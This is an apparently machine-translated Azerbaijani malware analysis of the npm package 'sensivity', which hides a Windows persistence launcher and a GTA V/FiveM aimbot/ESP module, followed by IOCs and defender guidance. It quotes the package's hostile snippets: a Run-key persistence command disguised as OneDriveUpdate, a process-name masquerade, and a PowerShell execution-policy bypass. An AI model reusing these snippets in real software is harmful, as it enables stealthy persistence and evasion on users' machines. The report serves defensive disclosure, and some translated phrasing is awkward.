TL; DR
npm paketi həssaslıq özünü "Həssaslıq İdarəetmə Paneli" kimi təsvir edir. Windows-da uzaqdan idarəetmə və müşahidə vasitəsi kimi fəaliyyət göstərir.
Onun giriş nöqtəsi, launcher.js, öz prosesinin adını Runtime Broker olaraq dəyişir, adlı avtomatik başlatma Run-key dəyərini yazır OneDriveUpdate paketi gizli VBScript vasitəsilə yenidən işə salır, PowerShell-i işə salır -ExecutionPolicy Bypass, və sonra 6.87 MB doğma modulla birlikdə 171 KB qarışıq server yükünü qiymətləndirir, sens.node.
Bu, TCP portu 3000-də telefon qoşma idarəetmə panelinə xidmət göstərir və Windows UIAutomation vasitəsilə aktiv brauzerin ünvan çubuğu URL-ni oxuyur və bir sərt kodlu YouTube videosunu izləyir.
Əvvəllər solda qara qutular kimi oxunan iki hissə artıq həll edildi. Qarışıq server, server.obf.js, obfuscator.io RC4 sətir massivi sxemindən istifadə edir; dekoderini oflayn rejimdə yenidən tətbiq etmək (JavaScript icra edilmir) tək bir xarici son nöqtəni bərpa edir — https://izopi.com/check.php — imzalanmış lisenziya cavablarını yoxlamaq üçün istifadə edilən daxil edilmiş RSA açıq açarı ilə birlikdə.
Doğma modul, sens.node, paketlənməyib: idxal cədvəli və daxil edilmiş sətirlər onu uzaqdan proses inyeksiyası və yaddaş oxuma/yazma funksiyaları ilə idarə olunan aimbot, ESP (divar hack) və triggerbot xüsusiyyətlərini təmin edən DirectX 11 / Dear ImGui oyun içi örtüyü kimi müəyyən edir.
İçindəki sətirlər GTA V / FiveM ilə uyğun olaraq nəqliyyat vasitələrinin obyektlərinə və xəritə yerlərinə istinad edir. npm paketi həmin doğma modulun ətrafındakı çatdırılma və davamlılıq paketidir.
Müəyyənedici siqnal texniki deyil, əməliyyat xarakterlidir: tək bir anonim naşir bir paketin təxminən yetmiş versiyasını təqdim etdi — 2.5.0-dən 2.5.69-a qədər — bir neçə gün ərzində, hər biri eyni buraxılış qurğusunu daşıyırdı.
Quraşdırma yoxdur hooksFaydalı yük yalnız paket işə salındıqda işləyir.
Hücum: Necə İşləyir
sensivity on fayl göndərir. package.json seyrəkdir: depo sahəsi yoxdur, lisenziya yoxdur, hamısı launcher.js-ə yönəlmiş əsas və iki bin ləqəbi (sensivity, sens) və node launcher.js-in start skriptidir. Postinstall və ya preinstall yoxdur. npm install-da heç nə işə düşmür. Aşağıda təsvir edilən davranış istifadəçi paketi bin shim, start skripti və ya require vasitəsilə işə saldıqda işləyir.
Tarbol başlatma qurğusunu, qarışıq serveri, doğma modulu, Visual Basic skriptini və idarəetmə paneli üçün public/web qovluğunu daşıyır. launcher.js oxunaqlı orkestratordur; iş vaxtında vacib olan məntiq yüklədiyi iki ləkədə - qarışıq serverdə və kompilyasiya edilmiş doğma modulda yaşayır, hər ikisi aşağıda həll edilmişdir.
Maskarad prosesi və saxta OneDrive yeniləyicisi
İcranın əvvəlində launcher.js öz proses adını iki dəfə təyin edir:
javascript process.title = 'Runtime Broker'; Runtime Broker, tətbiq icazələrini vasitəçilik edən qanuni bir Windows prosesidir (RuntimeBroker.exe). Node prosesinin adını ona uyğunlaşdırmaq, Tapşırıq Menecerinə qısa bir baxışda qeyri-adi bir şey olmadığını göstərir.
Davamlılıq birbaşa qeyd API-si əvəzinə PowerShell vasitəsilə yazılır:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Avtomatik başlatma dəyəri OneDriveUpdate adlanır və birbaşa paketə işarə etmir. Bu, paketlənmiş OneDrive.Standalone.Updater.vbs faylını işlədən wscript.exe faylına işarə edir. Bu skript node launcher.js faylını gizli pəncərədə yenidən işə salır. Həm Run-key adı, həm də VBScript fayl adı Microsoft brendini götürür, buna görə də avtomatik başlatma girişi adi OneDrive tapşırığı kimi oxunur.
İcra siyasəti bypass ilə PowerShell
Başlatıcı dəfələrlə PowerShell-ə göndərilir. Skanerlərin vacib hesab etdiyi problem, icra siyasəti deaktiv edilmiş şəkildə yaradılan .ps1 faylının işə salınmasıdır:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass, həmin çağırış üçün yerli skript imzalama yoxlamasını silir. Yaradılmış skriptlər növbəti bölmədə təsvir edilən brauzer nəzarəti və pəncərə aşkarlama işlərini idarə edir.
Qarışıq server və doğma modul
Quraşdırıldıqdan sonra launcher.js real yükünü yükləyir və icra edir:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js 171 KB həcmində _0x-massiv obfuskasiyasına malikdir — hər bir sətir və identifikatorun qarışdırılmış massivə indekslə əvəz olunduğu və sonra iş vaxtında istinadın silindiyi JavaScript nümunəsi. Sxem obfuscator.io tərəfindən istehsal edilən RC4 variantıdır: tək bir dekoder funksiyası base64 - massiv girişini dekodlayır və sonra RC4 - onu hər çağırış açarı ilə deşifrə edir. Həmin dekoderi ayrı bir skriptdə yenidən tətbiq etmək — yalnız çıxarılan 821 girişli sətir massivi üzərində yenidən tətbiqi işlətmək, heç vaxt paketin öz JavaScript-ini işlətmək — onu təmiz şəkildə açır. Hansı səthlər təvazökardır, amma...cisive: bir xarici URL, https://izopi.com/check.php`, LICENSE_URL sabitinə təyin edilmişdir; daxil edilmiş RSA PUBLIC_KEY_PEM`; yerli panel /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off və /trigger/status ünvanlarını yönləndirir; və child_process, crypto və [Sensivity] sens.node sətirlərini yükləyir — sonuncu başlatma cihazının yüklənmiş proqram moduluna yenidən yazdığı dəqiq jurnal sətridir. Son nöqtə lisenziya yoxlamasıdır: müştəri identifikator göndərir (qarışıq server Discord ID: %s sətrini formatlayır) və RSA açarı serverin imzalanmış cavabını yoxlayır.
sens.node 6.87 MB kompilyasiya edilmiş doğma əlavədir və paketlənmir — bölmə entropiyası 5.6–6.6 səviyyəsindədir və PE idxal və ixrac cədvəlləri bütövdür, buna görə də onun imkanları birbaşa oxunaqlıdır. napi_register_module_v1-i ixrac edir, standard Node N-API giriş nöqtəsi olduğundan, qiymətləndirilən server onu sadə tələblə yükləyir. Onun idxal cədvəli tell-dir. KERNEL32-dən OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules və Process32First/NextW-ni çıxarır — başqa bir prosesi tapmaq, içərisində yaddaş ayırmaq və həmin yaddaşı oxumaq və ya yazmaq üçün kanonik dəst. USER32-dən GetAsyncKeyState, GetKeyState, mouse_event və SetCursorPos-u çıxarır; ekrandakı örtük üçün d3d11.dll, D3DCOMPILER_43 və dwmapi-ni və şəbəkə zəngləri üçün tam WINHTTP dəstini əlaqələndirir. Daxili sətirlər funksiya dəstini qeyri-müəyyənlik olmadan adlandırır: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected və Dear ImGui banneri Dear ImGui 1.91.3 WIP. Grapeseed Medical Clinic kimi yer və varlıq sətirləri və vehicle-ESP lüğəti GTA V / FiveM ilə uyğun gəlir.
Bölünmə əslində qəsdən edilir: oxuna bilən launcher.js yalnız skanerin asanlıqla oxuduğu hissələri - davamlılıq, maskarad, qiymətləndirmə çağırışının özünü - daşıyır, qarışıqlıq isə tək xarici hostu iş vaxtı kontaktları olan yerini gizlədir və ikili fayl oyun örtüyünü və proses inyeksiyası məntiqini saxlayır. Başlatıcı nazik, audit edilə bilən qabıqdır; qarışıq server şəbəkə kimliyini gizlədir; doğma modul faydalı yükdür. Biz ikili faylın idxalını və sətirlərini oxunmuş kimi təsvir edirik; operatorun məqsədini onlardan çıxarmırıq.
3000 portunda telefon qoşma idarəetmə paneli
Başlatıcı TCP 3000 portunda lokal veb serveri idarə edir və onu tək server kimi qəbul edir. Mövcud dinləyici üçün sorğu göndərir və bağlamadan əvvəl onu təmizləyir:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panel http://localhost:3000 ünvanında, sərt kodlu LAN ehtiyat URL-i http://192.168.1.16:3000 ilə əldə edilə bilər. public/ qovluğu və panelin davranışı QR cütləşmə axını ilə uyğundur: telefon kodu skan edir və uzaqdan idarəetmə kimi hosta qoşulur. Başlatıcıda açıq mətndə heç bir xarici əmr və idarəetmə domeni görünmür - lakin yuxarıdakı deobfuscation-ın göstərdiyi kimi, biri qarışıq serverdə mövcuddur: izopi.com lisenziya son nöqtəsi. Panelin özü lokaldır və LAN əhatə dairəsinə malikdir; yeganə çıxış hostu həmin lisenziya yoxlamasıdır.
Ayrılmış nəzarətçi/işçi modeli prosesi aktiv saxlayır. Başlatıcı özünü SENSIVITY_SUPERVISOR və SENSIVITY_WORKER mühit bayraqları ilə yenidən işə salır, hər bir uşaq gizli şəkildə işləyir, beləliklə, bir prosesin dayandırılması onu yenidən başlatmaq üçün nəzarətçiyə səbəb olur.
Brauzer Nəzarəti və YouTube Siqnalı
Ən spesifik davranış brauzer monitorinqidir. launcher.js, Windows UIAutomation-u işləyən brauzerin ünvan çubuğunu oxumağa məcbur edən PowerShell qurur:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern, istifadəçi interfeysi elementinin mətn məzmununu qaytarır. Brauzerin ünvan çubuğunun redaktə idarəetməsinə tətbiq edildikdə, qurbanın hazırda baxdığı URL-i — brauzer uzantısı olmadan, diskdəki profilə toxunmadan və API hook olmadan qaytarır. Yaradılmış skript $browserNames siyahısını təkrarlayır və ön planda olan brauzerin URL-ni və ya pəncərə başlığını çıxarır.
Həmin URL tək bir sərt kodlu hədəfə qarşı sınaqdan keçirilir:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Başlatma qurğusu YouTube-u göstərən brauzer pəncərəsi üçün üç saniyəlik dövrədə sorğular aparır və yaradılan PowerShell, həmin video ID-si ilə uyğun gələn Get-YouTubeBrowser / Test-TargetYouTubeUrl cütlüyünə malikdir. Müşahidə edilə bilən effekt ikiqatdır: aktiv brauzer URL-i qurbanın ekranından oxunur və ev sahibinin müəyyən bir YouTube videosu ilə qarşılıqlı əlaqəsi aşkar edilir. Mexanizmi və hədəfi təsvir edirik; onlardan heç bir motiv çıxarmırıq.
Ünvan çubuğunun oxunuşunu skaner sensitive_data_enumeration adlandırır — bu, şəbəkəyə uyğun bir iş müddətini qidalandıran Process::env və UIAutomation mənbəyidir. Təcrid olunmuş şəkildə zərərsiz görünür və yalnız məlumat həyat dövrü UIAutomation mənbəyindən qarışıq serverə izlənildikdən sonra müşahidəyə keçir.
Zaman xətti və versiya təkamülü
həssaslıq birdəfəlik yükləmə deyil. Naşir hesabında bu tək paketin təxminən yetmiş nəşr olunmuş versiyası var və baxış pəncərəsi ərzində yeniləri gəlməyə davam edirdi. Başlatıcı, davamlılığı və faydalı yüklənmə qabiliyyəti sabit qalarkən, 2.5.x xətti boyunca xüsusiyyətdən xüsusiyyətə qədər böyüyür.
| Tarix (UTC) | Müşahidə edilən versiyalar | Başlatma vəziyyəti |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Əsas QR panel başlatma cihazı; İşə salma düyməsinin davamlılığı; qarışıq serverin qiymətləndirilməsi. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Eyni barmaq izi; konsol izi basqısı. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | YouTube-da sancaqlanmış nişan hədəfi əlavə olunur wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Bütün diapazonda boşluqları dolduran yenidən nəşr; nəzarətçi/işçi nəzarətçisi. |
Yüklənmiş nümayəndələr — 2.5.0, 2.5.36 və 2.5.69 — arasında başlatma cihazının oxunması dörd səviyyəni göstərir. Ən erkən versiyalar əsas QR cütləşmə başlatma cihazını daşıyır. 2.5.33-dən UIAutomation ünvan çubuğu yığıcısı görünür. 2.5.58-dən nəzarətçi-idarəetmə təbəqəsi əlavə olunur. 2.5.64-dən ayrılmış nəzarətçi/işçi nəzarətçisi dəsti tamamlayır. Bütün proses boyu dörd şey heç vaxt dəyişmir: OneDriveUpdate Run açarı, OneDrive.Standalone.Updater.vbs dropper, eval'd server.obf.js və sens.node doğma modulu.
2026-06-05 dalğası, bir neçə gün əvvəl təsdiqlənmiş versiyalardan aşağıda olan aşağı versiya nömrələrini - 2.5.0-dan 2.5.15-ə qədər - yenidən dərc etməsi ilə diqqət çəkir. Nəticə, reyestrdə hər versiyada eyni başlatma cihazı olan bitişik 2.5.x sətridir.
Kompromis göstəriciləri
Aşağıdakı bütün göstəricilər birbaşa tarball paketindən oxunub. Oxuna bilən başlatma cihazı yalnız loopback və tək bir özəl LAN ünvanına malikdir; tək xarici host adı, izopi.com, server.obf.js faylını oflayn olaraq deobfuscating etməklə bərpa edilib.
| növü | Göstərici | Qeydlər |
|---|---|---|
| Paketi | npm:sensivity (≈70 versiya, 2.5.0-2.5.69) | Tək paketli naşir; depo yoxdur; lisenziyasız. |
| fayl | launcher.js | Oxunaqlı orkestrator; əsas və bin hədəfi. |
| fayl | server.obf.js (≈171 KB) | obfuscator.io RC4 string-array payload, loaded via eval(fs.readFileSync(...)). |
| fayl | sens.node (≈6.87 MB) | PE32+ x86-64 Düyün N-API əlavəsi; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| fayl | OneDrive.Standalone.Updater.vbs | Gizli yenidən başlatma cihazı (node launcher.js). |
| şəbəkə | https://izopi.com/check.php | Lisenziya/avtorizasiya son nöqtəsi qarışıq serverdən bərpa edildi; daxil edilmiş RSA açıq açarı cavabları yoxlayır. |
| Yetenek | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Uzaqdan proses inyeksiyası və yaddaş oxuma/yazma qabiliyyəti. |
| Yetenek | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui oyun örtüyü aimbot, ESP və triggerbot xüsusiyyətlərini tətbiq edir. |
| Reyestr | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Avtomatik başlama dəyəri işarə edir wscript.exe və VBScript başlatma cihazı. |
| proses | process.title = 'Runtime Broker' | Qanuni Windows Runtime Broker prosesi kimi maskalanır. |
| Davranışçı | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Yaradılmış PowerShell skriptləri üçün istifadə edilən icra siyasəti keçidi. |
| Davranışçı | UIAutomation ValuePattern brauzerin ünvan çubuğunun oxunması | Ön plan brauzer pəncərəsinin URL-ni oxuyur. |
| Davranışçı | Hədəf video ID-si wJWta2lO0Lw; 3 saniyəlik YouTube sorğusu | Sancaqlanmış nişan monitorinq siqnalı. |
| şəbəkə | http://localhost:3000, ehtiyat http://192.168.1.16:3000 | QR cütləşmə idarəetmə paneli yerli və LAN-da açıqdır. |
| ətraf mühit | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Ayrılmış nəzarətçi prosesinin koordinasiya bayraqları. |
Atribut, Təsir və Müdafiəçilər
Paket, göstərilən e-poçt ünvanı təsdiqlənməmiş Gmail ünvanı olan tək bir npm hesabı tərəfindən dərc olunur. Hesabın reyestr reputasiyası çox mənfidir, yalnız bu paketi saxlayır və dərc edir və əlaqəli mənbə deposu yoxdur. E-poçtun mülkiyyətini təsdiqləməmişik və kampaniyanı heç bir adı çəkilən şəxsə deyil, naşir hesabına aid edirik. Başlatıcı heç bir açıq mətn infrastrukturuna malik deyil, lakin tək xarici host artıq məlumdur: qarışıq server lisenziya yoxlaması üçün izopi.com ilə əlaqə saxlayır və təlimat-təlimat əvəzinə idxal cədvəlindən və sətirlərindən oxunan doğma modul başqa bir prosesin yaddaşına daxil olan və oxuyan bir oyun örtüyüdür.
Müşahidə edilə bilən təsir, idarəetmə paneli yardımçı proqramını gözləyərək həssaslıqla quraşdıran və işlədən Windows istifadəçilərinə dəyir. Bu hostlarda paket OneDrive tapşırığı kimi gizlədilmiş avtomatik başlama davamlılığını qurur, sistem prosesini təqlid etmək üçün adını dəyişir, istifadəçinin baxdığı hər hansı bir şeyin URL-ni oxuyur və maşını yerli şəbəkə üzərindən uzaqdan idarəetməyə bağlayan bir cütləşmə paneli yaradır. Nəzarətçi/işçi nəzarətçisi o deməkdir ki, tək bir prosesin öldürülməsi onu silmir; Run-key girişi yenidən başlatmadan sonra sağ qalır. macOS və Linux başlatma cihazı tərəfindən hədəf alınmır - davamlılıq, PowerShell və UIAutomation yolları yalnız Windows üçündür.
Yetmiş versiyalı versiyaların azalması qeyd etməyə dəyər bir tendensiyadır. Bir paketi bir neçə gün ərzində onlarla dəfə yenidən dərc etmək, o cümlədən artıq silinmiş versiyaların altındakı versiya nömrələrini doldurmaq, silinmələr arasında reyestrdə canlı bir nüsxəni saxlayır və versiya ilə sancılmış blok siyahılarını məyus edir. sensivity@2.5.61 üçün blok siyahısı girişi sensivity@2.5.3-ün ertəsi gün yenidən dərc olunmasına qarşı heç bir şey etmir.
Müdafiəçilər aşağıdakı hərəkətləri edə bilərlər:
- Paket adı həssaslığını registry-proxy və CI icazə siyahılarında tamamilə bloklayın. Fərdi versiyaların sancılması yenidən dərc etmə kadensiyasına zərər verir; ad davamlı göstəricidir.
- İstifadəçi başına müəyyən edilmiş yolda .vbs faylına qarşı wscript.exe faylını çağıran OneDriveUpdate adlı Run dəyərini axtarın. Orijinal OneDrive yeniləyicisi bu şəkildə qeydiyyatdan keçməyib.
- process.title faylı Runtime Broker olan Node.js prosesində xəbərdarlıq. Əsl broker Node runtime deyil, RuntimeBroker.exe-dir.
- Kompilyasiya edilmiş .node addonu və qardaş .obf.js faylının eval(fs.readFileSync(…)) göndərən paketlərin npm quraşdırma vaxtı yüklənmələrini bayraqlayın. Bu cütləşmə — qarışıq mətn yükünün yanında yüklənmiş qeyri-şəffaf doğma ikili fayl — burada hər hansı bir sətir IOC-dan asılı olmayan struktur məlumatdır.
- 3000 portundakı gözlənilməz Node prosesi tərəfindən yaranan hər hansı bir lokal bağlı dinləyicini idarə olunan Windows son nöqtələrində şübhəli kimi qəbul edin.
- Geliştiricidən və ya son istifadəçi hostlarından izopi.com saytına edilən xaric sorğuları bloklayın və ya xəbərdarlıq edin; bu, paketin yeganə xarici son nöqtəsidir və qarışıq serverdən /check.php ünvanına daxil olur.
- Hər hansı bir paketlənmiş .node əlavəsi üçün ona etibar etməzdən əvvəl idxal cədvəlini yoxlayın. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread kombinasiyası, paketin nə etdiyini iddia etməsindən asılı olmayaraq, uzaqdan emal inyeksiyasıdır; burada Direct3D örtüyü və aimbot/ESP/triggerbot sətirlərinin yanında yerləşir.
Statik analiz üçün pipelines, versiya dəyişikliyi zamanı məhkumluq forması davamlıdır: şəbəkədən kənar quraşdırma profili, məlum sistem proses adına proses başlığı təyinatı, PowerShell vasitəsilə Run-key yazısı və diskdən oxunan faylın qiymətləndirilməsi. Bunların heç biri növbəti yenidən nəşrin dəyişə biləcəyi domen, IP və ya versiya nömrəsindən asılı deyil.
References
[npm: həssaslıq] – burada müzakirə olunan paket versiyası sətri üçün qeydiyyat səhifəsi; silinə bilər.





